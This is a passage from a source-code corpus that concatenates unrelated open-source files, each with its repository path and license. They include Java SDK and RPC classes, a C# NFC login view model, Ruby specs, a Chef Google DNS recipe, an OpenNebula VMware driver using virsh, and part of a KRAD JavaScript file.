Request<ModifyMountTargetSecurityGroupsRequest> marshall(ModifyMountTargetSecurityGroupsRequest modifyMountTargetSecurityGroupsRequest) { if (modifyMountTargetSecurityGroupsRequest == null) { throw new SdkClientException("Invalid argument passed to marshall(...)"); } try { final ProtocolRequestMarshaller<ModifyMountTargetSecurityGroupsRequest> protocolMarshaller = protocolFactory.createProtocolMarshaller( SDK_OPERATION_BINDING, modifyMountTargetSecurityGroupsRequest); protocolMarshaller.startMarshalling(); ModifyMountTargetSecurityGroupsRequestMarshaller.getInstance().marshall(modifyMountTargetSecurityGroupsRequest, protocolMarshaller); return protocolMarshaller.finishMarshalling(); } catch (Exception e) { throw new SdkClientException("Unable to marshall request to JSON: " + e.getMessage(), e); } } }
dagnir/aws-sdk-java
aws-java-sdk-efs/src/main/java/com/amazonaws/services/elasticfilesystem/model/transform/ModifyMountTargetSecurityGroupsRequestProtocolMarshaller.java
Java
apache-2.0
2,903
package com.choodon.rpc.framework.cluster.ha; import com.choodon.rpc.base.RPCCallback; import com.choodon.rpc.base.RPCFuture; import com.choodon.rpc.base.extension.Scope; import com.choodon.rpc.base.extension.Spi; import com.choodon.rpc.base.protocol.RPCRequest; import com.choodon.rpc.base.protocol.RPCResponse; import com.choodon.rpc.framework.cluster.loadbalance.LoadBalance; import com.choodon.rpc.framework.referer.Referer; import java.util.List; @Spi(scope = Scope.SINGLETON) public interface HaStrategy { RPCResponse syncCall(RPCRequest request, List<Referer> referers, LoadBalance loadBalance) throws Exception; RPCFuture asyncCall(RPCRequest request, List<Referer> referers, LoadBalance loadBalance) throws Exception; void callback(RPCRequest request, RPCCallback callBack, List<Referer> referers, LoadBalance loadBalance) throws Exception; }
choodon/choodon-rpc
choodon-rpc-framework/src/main/java/com/choodon/rpc/framework/cluster/ha/HaStrategy.java
Java
apache-2.0
872
package simplejpa.artifact.repository; import java.util.Map; public interface RepositoryManager { public Object findRepository(String name); public Object doInstantiate(String name, boolean triggerEvent); public Map<String, Object> getRepositories(); }
JockiHendry/simple-jpa
src/main/simplejpa/artifact/repository/RepositoryManager.java
Java
apache-2.0
271
using System; using System.Collections.ObjectModel; using System.ComponentModel; using System.Linq; using System.Threading.Tasks; using GalaSoft.MvvmLight.Command; using GalaSoft.MvvmLight.Messaging; using Microsoft.Practices.ServiceLocation; using NFCRing.UI.ViewModel.Services; namespace NFCRing.UI.ViewModel.ViewModels { public class LoginControlViewModel : ContentViewModel, IInitializeAsync { private readonly IDialogService _dialogService; private readonly ITokenService _tokenService; private readonly ISynchronizationService _synchronizationService; private readonly IUserCredentials _userCredentials; private readonly ILogger _logger; private ObservableCollection<RingItemViewModel> _items; private RingItemViewModel _selectedItem; private bool _isBusy; private bool _serviceStarted; private ObservableCollection<NFCDevice> devicesList; private bool _IsDeviceNotAvailable = false; private bool _IsDeviceAvailable = false; public ObservableCollection<RingItemViewModel> Items { get { return _items ?? (_items = new ObservableCollection<RingItemViewModel>()); } set { Set(ref _items, value); } } public RingItemViewModel SelectedItem { get { return _selectedItem; } set { Set(ref _selectedItem, value); } } public bool IsBusy { get { return _isBusy; } set { Set(ref _isBusy, value); } } public ObservableCollection<NFCDevice> DevicesList { get { return devicesList ?? (devicesList = new ObservableCollection<NFCDevice>()); } set { Set(ref devicesList, value); if (devicesList != null) { if (devicesList.Count > 0) { IsDeviceAvailable = true; IsDeviceNotAvailable = false; } else { IsDeviceAvailable = false; IsDeviceNotAvailable = true; } } } } public bool IsDeviceNotAvailable { get { return _IsDeviceNotAvailable; } set { _IsDeviceNotAvailable = value; RaisePropertyChanged(); } } public bool IsDeviceAvailable { get { return _IsDeviceAvailable; } set { _IsDeviceAvailable = value; RaisePropertyChanged(); } } public bool AllowAdd => _serviceStarted && Items.Count < _userCredentials.MaxTokensCount; /// <summary> /// Add new ring item command. /// </summary> public RelayCommand AddCommand { get; } /// <summary> /// About command. /// </summary> public RelayCommand AboutCommand { get; } /// <summary> /// Remove ring item command. /// </summary> public RelayCommand<RingItemViewModel> RemoveCommand { get; } /// <summary> /// Select image command. /// </summary> public RelayCommand<string> SelectImageCommand { get; } /// <summary> /// Save name command. /// </summary> public RelayCommand<object> SaveNameCommand { get; } /// <summary> /// Cancel edit name command. /// </summary> public RelayCallbackCommand<object> CancelEditNameCommand { get; } /// <summary> /// Refresh Connected NFC Devices command. /// </summary> public RelayCallbackCommand<object> RefreshConnectedDevicesCommand { get; } /// <summary> /// Ctor. /// </summary> public LoginControlViewModel(IDialogService dialogService, ITokenService tokenService, ISynchronizationService synchronizationService, IUserCredentials userCredentials, ILogger logger) { System.Threading.ThreadPool.QueueUserWorkItem((x) => { try { DevicesList = NFCWMQService.GetConnectedDevices(); } catch (Exception) { } }); _dialogService = dialogService; _tokenService = tokenService; _synchronizationService = synchronizationService; _userCredentials = userCredentials; _logger = logger; Title = "NFCRing - Fence"; AddCommand = new RelayCommand(Add, () => AllowAdd); RemoveCommand = new RelayCommand<RingItemViewModel>(Remove); SelectImageCommand = new RelayCommand<string>(SelectImage); SaveNameCommand = new RelayCommand<object>(SaveName, x => !string.IsNullOrEmpty(Items.FirstOrDefault(y => Equals(x, y.Token))?.Name)); CancelEditNameCommand = new RelayCallbackCommand<object>(CancelEditName); RefreshConnectedDevicesCommand = new RelayCallbackCommand<object>(RefreshConnectedDevices); AboutCommand=new RelayCommand(AboutCommandMethod); PropertyChanged += OnPropertyChanged; } public async Task InitializeAsync() { _serviceStarted = await Task.Factory.StartNew(() => _tokenService.Ping()); if (!_serviceStarted) { _synchronizationService.RunInMainThread(() => RaisePropertyChanged(nameof(AllowAdd))); _dialogService.ShowErrorDialog("Service not available"); return; } var tokens = await _tokenService.GetTokensAsync(_userCredentials.GetName()); if (Items.Any()) _synchronizationService.RunInMainThread(() => Items.Clear()); foreach (var token in tokens) { var tokenKey = token.Key; var imageData = _tokenService.GetTokenImage(tokenKey); var ringItemViewModel = new RingItemViewModel {Name = token.Value, Token = tokenKey, Image = imageData.ImageBytes}; ringItemViewModel.SetDefaultName(ringItemViewModel.Name); _synchronizationService.RunInMainThread(() => Items.Add(ringItemViewModel)); } _synchronizationService.RunInMainThread(() => { RaisePropertyChanged(nameof(AllowAdd)); AddCommand.RaiseCanExecuteChanged(); }); } private void Add() { ServiceLocator.Current.GetInstance<MainViewModel>() .SetContent(ServiceLocator.Current.GetInstance<WizardViewModel>()); } private void AboutCommandMethod() { string version = new Version(System.Diagnostics.FileVersionInfo.GetVersionInfo(System.Reflection.Assembly.GetEntryAssembly().Location).ProductVersion).ToString(); Messenger.Default.Send(new AboutViewModel() { VersionInfo= version }); } private async void Remove(RingItemViewModel item) { if (item == null) return; if (!_dialogService.ShowQuestionDialog($"Remove {item.Name}?")) return; await RemoveAsync(item.Token); } private async void SaveName(object token) { var item = Items.FirstOrDefault(x => Equals(x.Token, token)); if (item == null || item.Name == item.GetDefaultName()) return; item.SetDefaultName(item.Name); await _tokenService.UpdateNameAsync(item.Token, item.Name); } private void CancelEditName(object token) { var item = Items.FirstOrDefault(x => Equals(x.Token, token)); if (item == null) return; item.Name = item.GetDefaultName(); CancelEditNameCommand.Callback?.Invoke(); } private async void RefreshConnectedDevices(object state) { try { DevicesList = await Task.Factory.StartNew(() => NFCWMQService.GetConnectedDevices()); } catch (Exception ex) { } } private async Task RemoveAsync(string token) { await _tokenService.RemoveTokenAsync(token); // TODO: workaround await Task.Delay(50); await InitializeAsync(); } private void SelectImage(string token) { var item = Items.FirstOrDefault(x => x.Token == token); if (item == null) return; ImageData imageData; if (!_dialogService.ShowImageDialog(out imageData)) return; try { _tokenService.UpdateTokenImage(token, imageData); } catch (Exception ex) { var message = $"Error image saving: {ex.Message}"; _logger.Error($"{message}{Environment.NewLine}{ex}"); _dialogService.ShowErrorDialog(message); return; } item.Image = imageData.ImageBytes; } private void OnPropertyChanged(object sender, PropertyChangedEventArgs e) { if (e.PropertyName == nameof(IsBusy)) ServiceLocator.Current.GetInstance<MainViewModel>().IsBusy = IsBusy; } } public class RelayCallbackCommand<T> : RelayCommand<T> { public Action Callback { get; set; } public RelayCallbackCommand(Action<T> execute) : base(execute) { } public RelayCallbackCommand(Action<T> execute, Func<T, bool> canExecute) : base(execute, canExecute) { } } }
mclear/Sesame
UI/NFCRing.UI.ViewModel/ViewModels/LoginControlViewModel.cs
C#
apache-2.0
10,043
module.exports = { entry: { app : './app/app.js' }, output: { filename: '[name]_bundle.js', path: './dist' } };
remibantos/jeeshop
admin/src/main/webapp/webpack.config.js
JavaScript
apache-2.0
151
require 'spec_helper' RSpec.describe Aggregation, :type => :model do let(:aggregation) { build(:aggregation) } it 'should have a valid factory' do expect(aggregation).to be_valid end it 'should not be valid without an aggregation hash' do expect(build(:aggregation, aggregation: nil)).to_not be_valid end it 'should not be valid without a workflow' do expect(build(:aggregation, workflow: nil)).to_not be_valid end it 'should not be valid without a subject' do expect(build(:aggregation, subject: nil)).to_not be_valid end context "when missing the workflow_version aggregation metadata" do let(:no_workflow_version) { build(:aggregation, aggregation: { test: 1}) } it 'should not be valid' do expect(no_workflow_version).to_not be_valid end it 'should not have the correct error message' do no_workflow_version.valid? error_message = "must have workflow_version metadata" expect(no_workflow_version.errors[:aggregation]).to include(error_message) end end context "when there is a duplicate subject_id workflow_id entry" do before(:each) do aggregation.save end let(:duplicate) do build(:aggregation, workflow: aggregation.workflow, subject: aggregation.subject) end it "should not be valid" do expect(duplicate).to_not be_valid end it "should have the correct error message on subject_id" do duplicate.valid? expect(duplicate.errors[:subject_id]).to include("has already been taken") end end describe '::scope_for' do shared_examples "correctly scoped" do let(:aggregation) { create(:aggregation) } let(:admin) { false } subject { described_class.scope_for(action, ApiUser.new(user, admin: admin)) } context "admin user" do let(:user) { create(:user, admin: true) } let(:admin) { true } it { is_expected.to include(aggregation) } end context "allowed user" do let(:user) { aggregation.workflow.project.owner } it { is_expected.to include(aggregation) } end context "disallowed user" do let(:user) { nil } it { is_expected.to_not include(aggregation) } end end context "#show" do let(:action) { :show } it_behaves_like "correctly scoped" end context "#index" do let(:action) { :index } it_behaves_like "correctly scoped" end context "#destroy" do let(:action) { :destroy } it_behaves_like "correctly scoped" end context "#update" do let(:action) { :update } it_behaves_like "correctly scoped" end end describe "versioning" do let(:aggregation) { create(:aggregation) } it { is_expected.to be_versioned } it 'should track changes to aggregation', versioning: true do new_aggregation = { "mean" => "1", "std" => "1", "count" => ["1","1","1"], "workflow_version" => "1.2" } aggregation.update!(aggregation: new_aggregation) expect(aggregation.previous_version.aggregation).to_not eq(new_aggregation) end end end
marten/Panoptes
spec/models/aggregation_spec.rb
Ruby
apache-2.0
3,231
/* * Copyright 2000-2014 JetBrains s.r.o. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package vgrechka.phizdetsidea.phizdets.codeInsight.intentions; import com.intellij.openapi.editor.Editor; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiComment; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.util.IncorrectOperationException; import vgrechka.phizdetsidea.phizdets.PyBundle; import vgrechka.phizdetsidea.phizdets.PyTokenTypes; import vgrechka.phizdetsidea.phizdets.psi.*; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.util.List; /** * User: catherine * Intention to merge the if clauses in the case of nested ifs where only the inner if contains code (the outer if only contains the inner one) * For instance, * if a: * if b: * # stuff here * into * if a and b: * #stuff here */ public class PyJoinIfIntention extends PyBaseIntentionAction { @NotNull public String getFamilyName() { return PyBundle.message("INTN.join.if"); } @NotNull public String getText() { return PyBundle.message("INTN.join.if.text"); } public boolean isAvailable(@NotNull Project project, Editor editor, PsiFile file) { if (!(file instanceof PyFile)) { return false; } PyIfStatement expression = PsiTreeUtil.getParentOfType(file.findElementAt(editor.getCaretModel().getOffset()), PyIfStatement.class); PyIfStatement outer = getIfStatement(expression); if (outer != null) { if (outer.getElsePart() != null || outer.getElifParts().length > 0) return false; PyStatement firstStatement = getFirstStatement(outer); PyStatementList outerStList = outer.getIfPart().getStatementList(); if (outerStList != null && outerStList.getStatements().length != 1) return false; if (firstStatement instanceof PyIfStatement) { final PyIfStatement inner = (PyIfStatement)firstStatement; if (inner.getElsePart() != null || inner.getElifParts().length > 0) return false; PyStatementList stList = inner.getIfPart().getStatementList(); if (stList != null) if (stList.getStatements().length != 0) return true; } } return false; } public void doInvoke(@NotNull Project project, Editor editor, PsiFile file) throws IncorrectOperationException { PyIfStatement expression = PsiTreeUtil.getParentOfType(file.findElementAt(editor.getCaretModel().getOffset()), PyIfStatement.class); PyIfStatement ifStatement = getIfStatement(expression); PyStatement firstStatement = getFirstStatement(ifStatement); if (ifStatement == null) return; if (firstStatement != null && firstStatement instanceof PyIfStatement) { PyExpression condition = ((PyIfStatement)firstStatement).getIfPart().getCondition(); PyElementGenerator elementGenerator = PyElementGenerator.getInstance(project); PyExpression ifCondition = ifStatement.getIfPart().getCondition(); if (ifCondition == null || condition == null) return; StringBuilder replacementText = new StringBuilder(ifCondition.getText() + " and "); if (condition instanceof PyBinaryExpression && ((PyBinaryExpression)condition).getOperator() == PyTokenTypes.OR_KEYWORD) { replacementText.append("(").append(condition.getText()).append(")"); } else replacementText.append(condition.getText()); PyExpression newCondition = elementGenerator.createExpressionFromText(replacementText.toString()); ifCondition.replace(newCondition); PyStatementList stList = ((PyIfStatement)firstStatement).getIfPart().getStatementList(); PyStatementList ifStatementList = ifStatement.getIfPart().getStatementList(); if (ifStatementList == null || stList == null) return; List<PsiComment> comments = PsiTreeUtil.getChildrenOfTypeAsList(ifStatement.getIfPart(), PsiComment.class); comments.addAll(PsiTreeUtil.getChildrenOfTypeAsList(((PyIfStatement)firstStatement).getIfPart(), PsiComment.class)); comments.addAll(PsiTreeUtil.getChildrenOfTypeAsList(ifStatementList, PsiComment.class)); comments.addAll(PsiTreeUtil.getChildrenOfTypeAsList(stList, PsiComment.class)); for (PsiElement comm : comments) { ifStatement.getIfPart().addBefore(comm, ifStatementList); comm.delete(); } ifStatementList.replace(stList); } } @Nullable private static PyStatement getFirstStatement(PyIfStatement ifStatement) { PyStatement firstStatement = null; if (ifStatement != null) { PyStatementList stList = ifStatement.getIfPart().getStatementList(); if (stList != null) { if (stList.getStatements().length != 0) { firstStatement = stList.getStatements()[0]; } } } return firstStatement; } @Nullable private static PyIfStatement getIfStatement(PyIfStatement expression) { while (expression != null) { PyStatementList stList = expression.getIfPart().getStatementList(); if (stList != null) { if (stList.getStatements().length != 0) { PyStatement firstStatement = stList.getStatements()[0]; if (firstStatement instanceof PyIfStatement) { break; } } } expression = PsiTreeUtil.getParentOfType(expression, PyIfStatement.class); } return expression; } }
vovagrechka/fucking-everything
phizdets/phizdets-idea/src/vgrechka/phizdetsidea/phizdets/codeInsight/intentions/PyJoinIfIntention.java
Java
apache-2.0
5,981
# Copyright 2017 Google Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ---------------------------------------------------------------------------- # # *** AUTO GENERATED CODE *** AUTO GENERATED CODE *** # # ---------------------------------------------------------------------------- # # This file is automatically generated by chef-codegen and manual # changes will be clobbered when the file is regenerated. # # Please read more about how to change this file in README.md and # CONTRIBUTING.md located at the root of this package. # # ---------------------------------------------------------------------------- # An example Chef recipe that creates a Google Cloud Computing DNS Managed Zone # in a project. # Defines a credential to be used when communicating with Google Cloud # Platform. The title of this credential is then used as the 'credential' # parameter in the gdns_project type. # # For more information on the gauth_credential parameters and providers please # refer to its detailed documentation at: # # For the sake of this example we set the parameter 'path' to point to the file # that contains your credential in JSON format. And for convenience this example # allows a variable named $cred_path to be provided to it. If running from the # command line you can pass it via the command line: # # CRED_PATH=/path/to/my/cred.json \ # chef-client -z --runlist \ # "recipe[gdns::examples~project]" # # For convenience you optionally can add it to your ~/.bash_profile (or the # respective .profile settings) environment: # # export CRED_PATH=/path/to/my/cred.json # # TODO(nelsonjr): Add link to documentation on Supermarket / Github # ________________________ raise "Missing parameter 'CRED_PATH'. Please read docs at #{__FILE__}" \ unless ENV.key?('CRED_PATH') gauth_credential 'mycred' do action :serviceaccount path ENV['CRED_PATH'] # e.g. '/path/to/my_account.json' scopes [ 'https://www.googleapis.com/auth/ndev.clouddns.readwrite' ] end # Ensures a project exists and has the correct values. # # All project settings are read-only, yet we are setting them anyway. Chef will # use these values to check if they match, and fail the run otherwise. # # This important to ensure that your project quotas are set properly and avoid # discrepancies from it to fail in production. gdns_project 'google.com:graphite-playground' do quota_managed_zones 10_000 quota_total_rrdata_size_per_change 100_000 project 'google.com:graphite-playground' credential 'mycred' end
caskdata/coopr-provisioner
lib/provisioner/worker/plugins/automators/chef_solo_automator/resources/cookbooks/google-gdns/recipes/examples~project.rb
Ruby
apache-2.0
3,061
package az.openweatherapi.utils; /** * Created by az on 13/10/16. */ public enum OWSupportedUnits { METRIC("metric"), FAHRENHEIT("imperial"); String unit; OWSupportedUnits(String unit) { this.unit = unit; } public String getUnit() { return unit; } }
zurche/open-weather-map-android-wrapper
OWApi/src/main/java/az/openweatherapi/utils/OWSupportedUnits.java
Java
apache-2.0
301
// // Copyright (C) DataStax Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // namespace Cassandra.SessionManagement { internal class SessionFactoryBuilder : ISessionFactoryBuilder<IInternalCluster, IInternalSession> { public ISessionFactory<IInternalSession> BuildWithCluster(IInternalCluster cluster) { return new SessionFactory(cluster); } } }
mintsoft/csharp-driver
src/Cassandra/SessionManagement/SessionFactoryBuilder.cs
C#
apache-2.0
936
# ---------------------------------------------------------------------------- # # Copyright 2010-2013, C12G Labs S.L # # # # Licensed under the Apache License, Version 2.0 (the "License"); you may # # not use this file except in compliance with the License. You may obtain # # a copy of the License at # # # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law or agreed to in writing, software # # distributed under the License is distributed on an "AS IS" BASIS, # # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # # limitations under the License. # # ---------------------------------------------------------------------------- # require "scripts_common" require 'yaml' require "CommandManager" require 'rexml/document' include REXML class VMwareDriver # -------------------------------------------------------------------------# # Set up the environment for the driver # # -------------------------------------------------------------------------# ONE_LOCATION = ENV["ONE_LOCATION"] if !ONE_LOCATION BIN_LOCATION = "/usr/bin" LIB_LOCATION = "/usr/lib/one" ETC_LOCATION = "/etc/one/" VAR_LOCATION = "/var/lib/one" else LIB_LOCATION = ONE_LOCATION + "/lib" BIN_LOCATION = ONE_LOCATION + "/bin" ETC_LOCATION = ONE_LOCATION + "/etc/" VAR_LOCATION = ONE_LOCATION + "/var/" end CONF_FILE = ETC_LOCATION + "/vmwarerc" CHECKPOINT = VAR_LOCATION + "/remotes/vmm/vmware/checkpoint" ENV['LANG'] = 'C' SHUTDOWN_INTERVAL = 5 SHUTDOWN_TIMEOUT = 500 def initialize(host) conf = YAML::load(File.read(CONF_FILE)) @uri = conf[:libvirt_uri].gsub!('@HOST@', host) @host = host @user = conf[:username] if conf[:password] and !conf[:password].empty? @pass=conf[:password] else @pass="\"\"" end @datacenter = conf[:datacenter] @vcenter = conf[:vcenter] end # ######################################################################## # # VMWARE DRIVER ACTIONS # # ######################################################################## # # ------------------------------------------------------------------------ # # Deploy & define a VM based on its description file # # ------------------------------------------------------------------------ # def deploy(dfile, id) # Define the domain if it is not already defined (e.g. from UNKNOWN) if not domain_defined?(id) deploy_id = define_domain(dfile) exit(-1) if deploy_id.nil? else deploy_id = "one-#{id}" end OpenNebula.log_debug("Successfully defined domain #{deploy_id}.") # Start the VM rc, info = do_action("virsh -c #{@uri} start #{deploy_id}") if rc == false undefine_domain(deploy_id) exit info end return deploy_id end # ------------------------------------------------------------------------ # # Cancels & undefine the VM # # ------------------------------------------------------------------------ # def cancel(deploy_id) # Destroy the VM rc, info = do_action("virsh -c #{@uri} destroy #{deploy_id}") exit info if rc == false OpenNebula.log_debug("Successfully canceled domain #{deploy_id}.") # Undefine the VM undefine_domain(deploy_id) end # ------------------------------------------------------------------------ # # Reboots a running VM # # ------------------------------------------------------------------------ # def reboot(deploy_id) rc, info = do_action("virsh -c #{@uri} reboot #{deploy_id}") exit info if rc == false OpenNebula.log_debug("Domain #{deploy_id} successfully rebooted.") end # ------------------------------------------------------------------------ # # Reset a running VM # # ------------------------------------------------------------------------ # def reset(deploy_id) rc, info = do_action("virsh -c #{@uri} reset #{deploy_id}") exit info if rc == false OpenNebula.log_debug("Domain #{deploy_id} successfully reseted.") end # ------------------------------------------------------------------------ # # Migrate # # ------------------------------------------------------------------------ # def migrate(deploy_id, dst_host, src_host) src_url = "vpx://#{@vcenter}/#{@datacenter}/#{src_host}/?no_verify=1" dst_url = "vpx://#{@vcenter}/#{@datacenter}/#{dst_host}/?no_verify=1" mgr_cmd = "-r virsh -c #{src_url} migrate #{deploy_id} #{dst_url}" rc, info = do_action(mgr_cmd) exit info if rc == false end # ------------------------------------------------------------------------ # # Monitor a VM # # ------------------------------------------------------------------------ # def poll(deploy_id) rc, info = do_action("virsh -c #{@uri} --readonly dominfo #{deploy_id}") return "STATE=d" if rc == false state = "" info.split('\n').each{ |line| mdata = line.match("^State: (.*)") if mdata state = mdata[1].strip break end } case state when "running","blocked","shutdown","dying" state_short = 'a' when "paused" state_short = 'p' when "crashed" state_short = 'c' else state_short = 'd' end return "STATE=#{state_short}" end # ------------------------------------------------------------------------ # # Restore a VM from a previously saved checkpoint # # ------------------------------------------------------------------------ # def restore(checkpoint) begin vm_folder=VAR_LOCATION << "/vms/" << File.basename(File.dirname(checkpoint)) dfile=`ls -1 #{vm_folder}/deployment*|tail -1` dfile.strip! rescue => e OpenNebula.log_error("Cannot open checkpoint #{e.message}") exit(-1) end deploy_id = define_domain(dfile) exit(-1) if deploy_id.nil? # Revert snapshot VM # Note: This assumes the checkpoint name is "checkpoint", to change # this it is needed to change also [1] # # [1] $ONE_LOCATION/lib/remotes/vmm/vmware/checkpoint rc, info = do_action( "virsh -c #{@uri} snapshot-revert #{deploy_id} checkpoint") exit info if rc == false # Delete checkpoint rc, info = do_action( "virsh -c #{@uri} snapshot-delete #{deploy_id} checkpoint") OpenNebula.log_error("Could not delete snapshot") if rc == false end # ------------------------------------------------------------------------ # # Saves a VM taking a snapshot # # ------------------------------------------------------------------------ # def save(deploy_id) # Take a snapshot for the VM rc, info = do_action( "virsh -c #{@uri} snapshot-create #{deploy_id} #{CHECKPOINT}") exit info if rc == false # Suspend VM rc, info = do_action("virsh -c #{@uri} suspend #{deploy_id}") exit info if rc == false # Undefine VM undefine_domain(deploy_id) end # ------------------------------------------------------------------------ # # Shutdown a VM # # ------------------------------------------------------------------------ # def shutdown(deploy_id) rc, info = do_action("virsh -c #{@uri} shutdown #{deploy_id}") exit info if rc == false counter = 0 begin rc, info = do_action("virsh -c #{@uri} list") info = "" if rc == false sleep SHUTDOWN_INTERVAL counter = counter + SHUTDOWN_INTERVAL end while info.match(deploy_id) and counter < SHUTDOWN_TIMEOUT if counter >= SHUTDOWN_TIMEOUT OpenNebula.error_message( "Timeout reached, VM #{deploy_id} is still alive") exit - 1 end undefine_domain(deploy_id) end # ------------------------------------------------------------------------ # # Creates a new system snapshot # # ------------------------------------------------------------------------ # def snapshot_create(deploy_id) rc, info = do_action( "virsh -c #{@uri} snapshot-create-as #{deploy_id}") exit info if rc == false hypervisor_id = info.split[2] return hypervisor_id end # ------------------------------------------------------------------------ # # Delete a system snapshot # # ------------------------------------------------------------------------ # def snapshot_delete(deploy_id, snapshot_id) rc, info = do_action( "virsh -c #{@uri} snapshot-delete #{deploy_id} #{snapshot_id}") exit info if rc == false end # ------------------------------------------------------------------------ # # Revert to a system snapshot # # ------------------------------------------------------------------------ # def snapshot_revert(deploy_id, snapshot_id) action = "virsh -c #{@uri} snapshot-revert " << "--force #{deploy_id} #{snapshot_id}" rc, info = do_action(action) exit info if rc == false end # ######################################################################## # # DRIVER HELPER FUNCTIONS # # ######################################################################## # private #Generates an ESX command using ttyexpect def esx_cmd(command) cmd = "#{BIN_LOCATION}/tty_expect -u #{@user} -p #{@pass} #{command}" end #Performs a action usign libvirt def do_action(cmd, log=true) rc = LocalCommand.run(esx_cmd(cmd)) if rc.code == 0 return [true, rc.stdout] else err = "Error executing: #{cmd} err: #{rc.stderr} out: #{rc.stdout}" OpenNebula.log_error(err) if log return [false, rc.code] end end #Performs a remote action using ssh def do_ssh_action(cmd, stdin=nil) rc = SSHCommand.run("'#{cmd}'", @host, nil, stdin) if rc.code == 0 return [true, rc.stdout] else err = "Error executing: #{cmd} on host: #{@host} " << "err: #{rc.stderr} out: #{rc.stdout}" OpenNebula.log_error(err) return [false, rc.code] end end # Undefines a domain in the ESX hypervisor def undefine_domain(id) rc, info = do_action("virsh -c #{@uri} undefine #{id}") if rc == false OpenNebula.log_error("Error undefining domain #{id}") OpenNebula.log_error("Domain #{id} has to be undefined manually") return info end return 0 end #defines a domain in the ESX hypervisor def define_domain(dfile) deploy_id = nil rc, info = do_action("virsh -c #{@uri} define #{dfile}") return nil if rc == false info.split('\n').each{ |line| mdata = line.match("Domain (.*) defined from (.*)") if mdata deploy_id = mdata[1] break end } deploy_id.strip! dfile_hash = Document.new(File.open(dfile).read) metadata = XPath.first(dfile_hash, "//metadata") return deploy_id if metadata.nil? # Get the ds_id for system_ds from the first disk metadata = metadata.text return deploy_id if metadata.nil? || metadata.empty? # Reconstruct path to vmx & add metadata path_to_vmx = "\$(find /vmfs/volumes/#{ds_id}/#{vm_id}/ -name #{name}.vmx)" source = XPath.first(dfile_hash, "//disk/source").attributes['file'] ds_id = source.match(/^\[(.*)\](.*)/)[1] name = XPath.first(dfile_hash, "//name").text vm_id = name.match(/^one-(.*)/)[1] # Reconstruct path to vmx & add metadata path_to_vmx = "/vmfs/volumes/#{ds_id}/#{vm_id}/disk.0/#{name}.vmx" metadata.gsub!("\\n","\n") sed_str = metadata.scan(/^([^ ]+) *=/).join("|") do_ssh_action("sed -ri \"/^(#{sed_str}) *=.*$/d\" #{path_to_vmx} ; cat >> #{path_to_vmx}", metadata) return deploy_id end def domain_defined?(one_id) rc, info = do_action("virsh -c #{@uri} dominfo one-#{one_id}", false) return rc end end
gargamelcat/ONE4
src/vmm_mad/remotes/vmware/vmware_driver.rb
Ruby
apache-2.0
14,069
/* * Copyright 2005-2014 The Kuali Foundation * * Licensed under the Educational Community License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.opensource.org/licenses/ecl2.php * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // global vars var jq = jQuery.noConflict(); // clear out blockUI css, using css class overrides jQuery.blockUI.defaults.css = {}; jQuery.blockUI.defaults.overlayCSS = {}; // script cleanup flag var scriptCleanup; //stickyContent globals var stickyContent; var stickyContentOffset; var currentHeaderHeight = 0; var currentFooterHeight = 0; var stickyFooterContent; var applicationFooter; // validation init var pageValidatorReady = false; var validateClient = true; var messageSummariesShown = false; var pauseTooltipDisplay = false; var haltValidationMessaging = false; var pageValidationPhase = false; var gAutoFocus = false; var clientErrorStorage = new Object(); var summaryTextExistence = new Object(); var clientErrorExistsCheck = false; var skipPageSetup = false; var groupValidationDefaults; var fieldValidationDefaults; // Action option defaults var actionDefaults; // dirty form state management var dirtyFormState; // view state var initialViewLoad = false; var originalPageTitle; var errorImage; var errorGreyImage; var warningImage; var infoImage; var detailsOpenImage; var detailsCloseImage; var refreshImage; var navigationImage; var ajaxReturnHandlers = {}; var activeDialogId; var sessionWarningTimer; var sessionTimeoutTimer; // delay function var delay = (function () { var timer = 0; return function (callback, ms) { clearTimeout(timer); timer = setTimeout(callback, ms); }; })(); // map of componentIds and refreshTimers var refreshTimerComponentMap = {}; // setup handler for opening form content popups with errors jQuery(document).on(kradVariables.PAGE_LOAD_EVENT, function (event) { openPopoverContentsWithErrors(); }); // common event registering done here through JQuery ready event jQuery(document).ready(function () { time(true, "viewSetup-phase-1"); // mark initial view load initialViewLoad = true; // determine whether we need to refresh or update the page skipPageSetup = handlePageAndCacheRefreshing(); dirtyFormState = new DirtyFormState(); // script cleanup setting scriptCleanup = getConfigParam("scriptCleanup").toLowerCase() === "true"; // buttons jQuery("input:submit, input:button, a.button, .uif-dialogButtons").button(); jQuery(".uif-dialogButtons").next('label').addClass('uif-primaryDialogButton'); // common ajax setup jQuery.ajaxSetup({ error: function (jqXHR, textStatus, errorThrown) { showGrowl(getMessage(kradVariables.MESSAGE_STATUS_ERROR, null, null, textStatus, errorThrown), getMessage(kradVariables.MESSAGE_SERVER_RESPONSE_ERROR), 'errorGrowl'); }, complete: function (jqXHR, textStatus) { resetSessionTimers(); }, statusCode: {403: function 